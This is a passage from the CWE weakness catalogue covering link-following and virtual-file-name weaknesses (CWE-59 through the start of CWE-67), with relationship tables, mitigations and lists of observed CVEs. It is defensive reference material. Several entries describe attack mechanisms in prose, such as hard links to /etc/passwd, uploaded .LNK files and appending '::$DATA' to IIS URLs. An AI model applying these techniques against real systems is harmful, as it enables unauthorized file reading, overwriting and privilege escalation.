MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Notes

Research Gap

Probably under-studied.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Windows 8.3 Filename
Software Fault Patterns	SFP16		Path Traversal

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-59: Improper Link Resolution Before File Access ('Link Following')

Weakness ID : 59

Structure : Simple

Abstraction : Base




Description






The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1544
ParentOf		61	UNIX Symbolic Link (Symlink) Following	116
ParentOf		62	UNIX Hard Link	119

Nature	Type	ID	Name	Page
ParentOf		64	Windows Shortcut Following (.LNK)	121
ParentOf		65	Windows Hard Link	123
ParentOf		1386	Insecure Operation on Windows Junction / Mount Point	2261
CanFollow		73	External Control of File Name or Path	132
CanFollow		363	Race Condition Enabling Link Following	897

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1544

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2433

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		1219	File Handling Issues	2480

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Operating_System : Windows (*Prevalence = Sometimes*)

Operating_System : Unix (*Prevalence = Often*)

Background Details

Soft links are a UNIX term that is synonymous with simple shortcuts on Windows-based platforms.

Alternate Terms

insecure temporary file : Some people use the phrase "insecure temporary file" when referring to a link following weakness, but other weaknesses can produce insecure temporary files without any symlink involvement at all.

Zip Slip : "Zip slip" is an attack that uses file archives (e.g., ZIP, tar, rar, etc.) that contain filenames with path traversal sequences that cause the files to be written outside of the directory under which the archive is expected to be extracted [REF-1282]. It is most commonly used for relative path traversal (CWE-23) and link following (CWE-59).

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	
Access Control	Bypass Protection Mechanism	
	<i>An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism then an attacker may be able to bypass the mechanism.</i>	
Other	Execute Unauthorized Code or Commands	

Scope	Impact	Likelihood
	Windows simple shortcuts, sometimes referred to as soft links, can be exploited remotely since a ".LNK" file can be uploaded like a normal file. This can enable remote execution.	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a

sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Observed Examples

Reference	Description
CVE-1999-1386	Some versions of Perl follow symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack. https://www.cve.org/CVERecord?id=CVE-1999-1386
CVE-2000-1178	Text editor follows symbolic links when creating a rescue copy during an abnormal exit, which allows local users to overwrite the files of other users. https://www.cve.org/CVERecord?id=CVE-2000-1178
CVE-2004-0217	Antivirus update allows local users to create or append to arbitrary files via a symlink attack on a logfile. https://www.cve.org/CVERecord?id=CVE-2004-0217
CVE-2003-0517	Symlink attack allows local users to overwrite files. https://www.cve.org/CVERecord?id=CVE-2003-0517
CVE-2004-0689	Window manager does not properly handle when certain symbolic links point to "stale" locations, which could allow local users to create or truncate arbitrary files. https://www.cve.org/CVERecord?id=CVE-2004-0689
CVE-2005-1879	Second-order symlink vulnerabilities https://www.cve.org/CVERecord?id=CVE-2005-1879
CVE-2005-1880	Second-order symlink vulnerabilities https://www.cve.org/CVERecord?id=CVE-2005-1880
CVE-2005-1916	Symlink in Python program https://www.cve.org/CVERecord?id=CVE-2005-1916
CVE-2000-0972	Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails. https://www.cve.org/CVERecord?id=CVE-2000-0972
CVE-2005-0824	Signal causes a dump that follows symlinks. https://www.cve.org/CVERecord?id=CVE-2005-0824
CVE-2001-1494	Hard link attack, file overwrite; interesting because program checks against soft links https://www.cve.org/CVERecord?id=CVE-2001-1494
CVE-2002-0793	Hard link and possibly symbolic link following vulnerabilities in embedded operating system allow local users to overwrite arbitrary files. https://www.cve.org/CVERecord?id=CVE-2002-0793
CVE-2003-0578	Server creates hard links and unlinks files as root, which allows local users to gain privileges by deleting and overwriting arbitrary files. https://www.cve.org/CVERecord?id=CVE-2003-0578
CVE-1999-0783	Operating system allows local users to conduct a denial of service by creating a hard link from a device special file to a file on an NFS file system. https://www.cve.org/CVERecord?id=CVE-1999-0783
CVE-2004-1603	Web hosting manager follows hard links, which allows local users to read or modify arbitrary files. https://www.cve.org/CVERecord?id=CVE-2004-1603
CVE-2004-1901	Package listing system allows local users to overwrite arbitrary files via a hard link attack on the lockfiles. https://www.cve.org/CVERecord?id=CVE-2004-1901
CVE-2005-1111	Hard link race condition https://www.cve.org/CVERecord?id=CVE-2005-1111
CVE-2000-0342	Mail client allows remote attackers to bypass the user warning for executable attachments such as .exe, .com, and .bat by using a .lnk file that refers to the attachment, aka "Stealth Attachment."

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2000-0342
CVE-2001-1042	FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file. https://www.cve.org/CVERecord?id=CVE-2001-1042
CVE-2001-1043	FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file. https://www.cve.org/CVERecord?id=CVE-2001-1043
CVE-2005-0587	Browser allows remote malicious web sites to overwrite arbitrary files by tricking the user into downloading a .LNK (link) file twice, which overwrites the file that was referenced in the first .LNK file. https://www.cve.org/CVERecord?id=CVE-2005-0587
CVE-2001-1386	".LNK." - .LNK with trailing dot https://www.cve.org/CVERecord?id=CVE-2001-1386
CVE-2003-1233	Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link https://www.cve.org/CVERecord?id=CVE-2003-1233
CVE-2002-0725	File system allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file. https://www.cve.org/CVERecord?id=CVE-2002-0725
CVE-2003-0844	Web server plugin allows local users to overwrite arbitrary files via a symlink attack on predictable temporary filenames. https://www.cve.org/CVERecord?id=CVE-2003-0844
CVE-2015-3629	A Libcontainer used in Docker Engine allows local users to escape containerization and write to an arbitrary file on the host system via a symlink attack in an image when respawning a container. https://www.cve.org/CVERecord?id=CVE-2015-3629
CVE-2021-21272	"Zip Slip" vulnerability in Go-based Open Container Initiative (OCI) registries product allows writing arbitrary files outside intended directory via symbolic links or hard links in a gzipped tarball. https://www.cve.org/CVERecord?id=CVE-2021-21272
CVE-2020-27833	"Zip Slip" vulnerability in container management product allows writing arbitrary files outside intended directory via a container image (.tar format) with filenames that are symbolic links that point to other files within the same tar file; however, the files being pointed to can also be symbolic links to destinations outside the intended directory, bypassing the initial check. https://www.cve.org/CVERecord?id=CVE-2020-27833

Functional Areas

- File Processing

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2552
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2347

Nature	Type	ID	Name	V	Page
MemberOf	C	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	2351
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	2355
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2377
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	980	SFP Secondary Cluster: Link in Resource Name Resolution	888	2409
MemberOf	C	1185	SEI CERT Perl Coding Standard - Guidelines 07. File Input and Output (FIO)	1178	2468
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2487
MemberOf	C	1404	Comprehensive Categorization: File Handling	1400	2529

Notes

Theoretical

Link following vulnerabilities are Multi-factor Vulnerabilities (MFV). They are the combination of multiple elements: file or directory permissions, filename predictability, race conditions, and in some cases, a design limitation in which there is no mechanism for performing atomic file creation operations. Some potential factors are race conditions, permissions, and predictability.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Link Following
CERT C Secure Coding	FIO02-C		Canonicalize path names originating from untrusted sources
CERT C Secure Coding	POS01-C		Check for the existence of links when dealing with files
SEI CERT Perl Coding Standard	FIO01-PL	CWE More Specific	Do not operate on files that can be modified by untrusted users
Software Fault Patterns	SFP18		Link in resource name resolution

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
17	Using Malicious Files
35	Leverage Executable Code in Non-Executable Files
76	Manipulating Web Input to File System Calls
132	Symlink Attack

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-1282]Snyk. "Zip Slip Vulnerability". 2018 June 5. < <https://security.snyk.io/research/zip-slip-vulnerability> >.

CWE-61: UNIX Symbolic Link (Symlink) Following

Weakness ID : 61





Structure : Composite

Abstraction : Compound

Description

The product, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.

Composite Components

Nature	Type	ID	Name	Page
Requires		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	888
Requires		340	Generation of Predictable Numbers or Identifiers	842
Requires		386	Symbolic Name not Mapping to Correct Object	942
Requires		732	Incorrect Permission Assignment for Critical Resource	1551

Extended Description

A product that allows UNIX symbolic links (symlink) as part of paths whether in internal code or through user input can allow an attacker to spoof the symbolic link and traverse the file system to unintended locations or access arbitrary files. The symbolic link can permit an attacker to read/write/corrupt a file that they originally did not have permissions to access.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		59	Improper Link Resolution Before File Access ('Link Following')	111

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Alternate Terms

Symlink following :

symlink vulnerability :

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Symbolic link attacks often occur when a program creates a tmp directory that stores files/links. Access to the directory should be restricted to the program as to prevent attackers from manipulating the files.

Phase: Architecture and Design

Strategy = Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Observed Examples

Reference	Description
CVE-1999-1386	Some versions of Perl follow symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack. https://www.cve.org/CVERecord?id=CVE-1999-1386
CVE-2000-1178	Text editor follows symbolic links when creating a rescue copy during an abnormal exit, which allows local users to overwrite the files of other users. https://www.cve.org/CVERecord?id=CVE-2000-1178
CVE-2004-0217	Antivirus update allows local users to create or append to arbitrary files via a symlink attack on a logfile. https://www.cve.org/CVERecord?id=CVE-2004-0217
CVE-2003-0517	Symlink attack allows local users to overwrite files. https://www.cve.org/CVERecord?id=CVE-2003-0517
CVE-2004-0689	Possible interesting example https://www.cve.org/CVERecord?id=CVE-2004-0689
CVE-2005-1879	Second-order symlink vulnerabilities https://www.cve.org/CVERecord?id=CVE-2005-1879
CVE-2005-1880	Second-order symlink vulnerabilities https://www.cve.org/CVERecord?id=CVE-2005-1880
CVE-2005-1916	Symlink in Python program https://www.cve.org/CVERecord?id=CVE-2005-1916
CVE-2000-0972	Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails. https://www.cve.org/CVERecord?id=CVE-2000-0972
CVE-2005-0824	Signal causes a dump that follows symlinks. https://www.cve.org/CVERecord?id=CVE-2005-0824
CVE-2015-3629	A Libcontainer used in Docker Engine allows local users to escape containerization and write to an arbitrary file on the host system via a symlink attack in an image when respawning a container. https://www.cve.org/CVERecord?id=CVE-2015-3629
CVE-2020-26277	In a MySQL database deployment tool, users may craft a maliciously packaged tarball that contains symlinks to files external to the target and once unpacked, will execute. https://www.cve.org/CVERecord?id=CVE-2020-26277
CVE-2021-21272	"Zip Slip" vulnerability in Go-based Open Container Initiative (OCI) registries product allows writing arbitrary files outside intended directory via symbolic links or hard links in a gzipped tarball. https://www.cve.org/CVERecord?id=CVE-2021-21272

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Notes

Research Gap

Symlink vulnerabilities are regularly found in C and shell programs, but all programming languages can have this problem. Even shell programs are probably under-reported. "Second-order symlink vulnerabilities" may exist in programs that invoke other programs that follow symlinks. They are rarely reported but are likely to be fairly common when process invocation is used [REF-493].

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			UNIX symbolic link following

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
27	Leveraging Race Conditions via Symbolic Links

References

[REF-493]Steve Christey. "Second-Order Symlink Vulnerabilities". Bugtraq. 2005 June 7. < <https://seclists.org/bugtraq/2005/Jun/44> >.2023-04-07.

[REF-494]Shaun Colley. "Crafting Symlinks for Fun and Profit". Infosec Writers Text Library. 2004 April 2. < <http://www.infosecwriters.com/texts.php?op=display&id=159> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-62: UNIX Hard Link

Weakness ID : 62

Structure : Simple

Abstraction : Variant

Description

The product, when opening a file or directory, does not sufficiently account for when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.


Extended Description

Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. /etc/passwd). When the process opens the file, the attacker can assume the privileges of that process.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		59	Improper Link Resolution Before File Access ('Link Following')	111

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Operating_System : Unix (Prevalence = Undetermined)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege





Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Observed Examples

Reference	Description
CVE-2001-1494	Hard link attack, file overwrite; interesting because program checks against soft links https://www.cve.org/CVERecord?id=CVE-2001-1494
CVE-2002-0793	Hard link and possibly symbolic link following vulnerabilities in embedded operating system allow local users to overwrite arbitrary files. https://www.cve.org/CVERecord?id=CVE-2002-0793
CVE-2003-0578	Server creates hard links and unlinks files as root, which allows local users to gain privileges by deleting and overwriting arbitrary files. https://www.cve.org/CVERecord?id=CVE-2003-0578
CVE-1999-0783	Operating system allows local users to conduct a denial of service by creating a hard link from a device special file to a file on an NFS file system. https://www.cve.org/CVERecord?id=CVE-1999-0783
CVE-2004-1603	Web hosting manager follows hard links, which allows local users to read or modify arbitrary files. https://www.cve.org/CVERecord?id=CVE-2004-1603
CVE-2004-1901	Package listing system allows local users to overwrite arbitrary files via a hard link attack on the lockfiles. https://www.cve.org/CVERecord?id=CVE-2004-1901
CVE-2005-0342	The Finder in Mac OS X and earlier allows local users to overwrite arbitrary files and gain privileges by creating a hard link from the .DS_Store file to an arbitrary file. https://www.cve.org/CVERecord?id=CVE-2005-0342
CVE-2005-1111	Hard link race condition https://www.cve.org/CVERecord?id=CVE-2005-1111
CVE-2021-21272	"Zip Slip" vulnerability in Go-based Open Container Initiative (OCI) registries product allows writing arbitrary files outside intended directory via symbolic links or hard links in a gzipped tarball. https://www.cve.org/CVERecord?id=CVE-2021-21272
BUGTRAQ:20030205	OpenBSD chpass/chfn/chsh file content leak
ASA-0001	https://seclists.org/bugtraq/2003/Feb/7

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2347
MemberOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2377
MemberOf		980	SFP Secondary Cluster: Link in Resource Name Resolution	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			UNIX hard link
CERT C Secure Coding Software Fault Patterns	FIO05-C		Identify files using multiple file attributes
	SFP18		Link in resource name resolution

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-64: Windows Shortcut Following (.LNK)

Weakness ID : 64

Structure : Simple

Abstraction : Variant

Description

The product, when opening a file or directory, does not sufficiently handle when the file is a Windows shortcut (.LNK) whose target is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.


Extended Description

The shortcut (file with the .lnk extension) can permit an attacker to read/write a file that they originally did not have permissions to access.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		59	Improper Link Resolution Before File Access ('Link Following')	111

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Operating_System : Windows (*Prevalence = Undetermined*)

Alternate Terms

Windows symbolic link following :

symlink :

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege




Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Observed Examples

Reference	Description
CVE-2019-19793	network access control service executes program with high privileges and allows symlink to invoke another executable or perform DLL injection. https://www.cve.org/CVERecord?id=CVE-2019-19793
CVE-2000-0342	Mail client allows remote attackers to bypass the user warning for executable attachments such as .exe, .com, and .bat by using a .lnk file that refers to the attachment, aka "Stealth Attachment." https://www.cve.org/CVERecord?id=CVE-2000-0342
CVE-2001-1042	FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file. https://www.cve.org/CVERecord?id=CVE-2001-1042
CVE-2001-1043	FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file. https://www.cve.org/CVERecord?id=CVE-2001-1043
CVE-2005-0587	Browser allows remote malicious web sites to overwrite arbitrary files by tricking the user into downloading a .LNK (link) file twice, which overwrites the file that was referenced in the first .LNK file. https://www.cve.org/CVERecord?id=CVE-2005-0587
CVE-2001-1386	".LNK." - .LNK with trailing dot https://www.cve.org/CVERecord?id=CVE-2001-1386
CVE-2003-1233	Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link https://www.cve.org/CVERecord?id=CVE-2003-1233

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2347
MemberOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2377
MemberOf		980	SFP Secondary Cluster: Link in Resource Name Resolution	888	2409

Nature	Type	ID	Name	V	Page
MemberOf	C	1404	Comprehensive Categorization: File Handling	1400	2529

Notes

Research Gap

Under-studied. Windows .LNK files are more "portable" than Unix symlinks and have been used in remote exploits. Some Windows API's will access LNK's as if they are regular files, so one would expect that they would be reported more frequently.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Windows Shortcut Following (.LNK)
CERT C Secure Coding	FIO05-C		Identify files using multiple file attributes
Software Fault Patterns	SFP18		Link in resource name resolution

CWE-65: Windows Hard Link

Weakness ID : 65

Structure : Simple

Abstraction : Variant

Description

The product, when opening a file or directory, does not sufficiently handle when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.

Extended Description

Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. AUTOEXEC.BAT). When the process opens the file, the attacker can assume the privileges of that process, or prevent the program from accurately processing data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	59	Improper Link Resolution Before File Access ('Link Following')	111

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Operating_System : Windows (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege





Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Observed Examples

Reference	Description
CVE-2002-0725	File system allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file. https://www.cve.org/CVERecord?id=CVE-2002-0725
CVE-2003-0844	Web server plugin allows local users to overwrite arbitrary files via a symlink attack on predictable temporary filenames. https://www.cve.org/CVERecord?id=CVE-2003-0844

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2347
MemberOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2377
MemberOf		980	SFP Secondary Cluster: Link in Resource Name Resolution	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Windows hard link
CERT C Secure Coding	FIO05-C		Identify files using multiple file attributes
Software Fault Patterns	SFP18		Link in resource name resolution

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-66: Improper Handling of File Names that Identify Virtual Resources

Weakness ID : 66

Structure : Simple

Abstraction : Base

Description

The product does not handle or incorrectly handles a file name that identifies a "virtual" resource that is not directly specified within the directory that is associated with the file name, causing the product to perform file-based operations on a resource that is not a file.





Extended Description

Virtual file names are represented like normal file names, but they are effectively aliases for other resources that do not behave like normal files. Depending on their functionality, they could be alternate entities. They are not necessarily listed in directories.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1544
ParentOf		67	Improper Handling of Windows Device Names	126
ParentOf		69	Improper Handling of Windows ::DATA Alternate Data Stream	129
ParentOf		72	Improper Handling of Apple HFS+ Alternate Data Stream Path	130

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		1219	File Handling Issues	2480

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective:
 Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review
 (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective:
 Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Observed Examples

Reference	Description
CVE-1999-0278	In IIS, remote attackers can obtain source code for ASP files by appending ":: \$DATA" to the URL. https://www.cve.org/CVERecord?id=CVE-1999-0278
CVE-2004-1084	Server allows remote attackers to read files and resource fork content via HTTP requests to certain special file names related to multiple data streams in HFS+. https://www.cve.org/CVERecord?id=CVE-2004-1084
CVE-2002-0106	Server allows remote attackers to cause a denial of service via a series of requests to .JSP files that contain an MS-DOS device name. https://www.cve.org/CVERecord?id=CVE-2002-0106

Functional Areas

- File Processing

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Virtual Files

CWE-67: Improper Handling of Windows Device Names

Weakness ID : 67

Structure : Simple

Abstraction : Variant

Description

The product constructs pathnames from user input, but it does not handle or incorrectly handles a pathname containing a Windows device name such as AUX or CON. This typically leads to denial of service or an information exposure when the application attempts to process the pathname as a regular file.


Extended Description

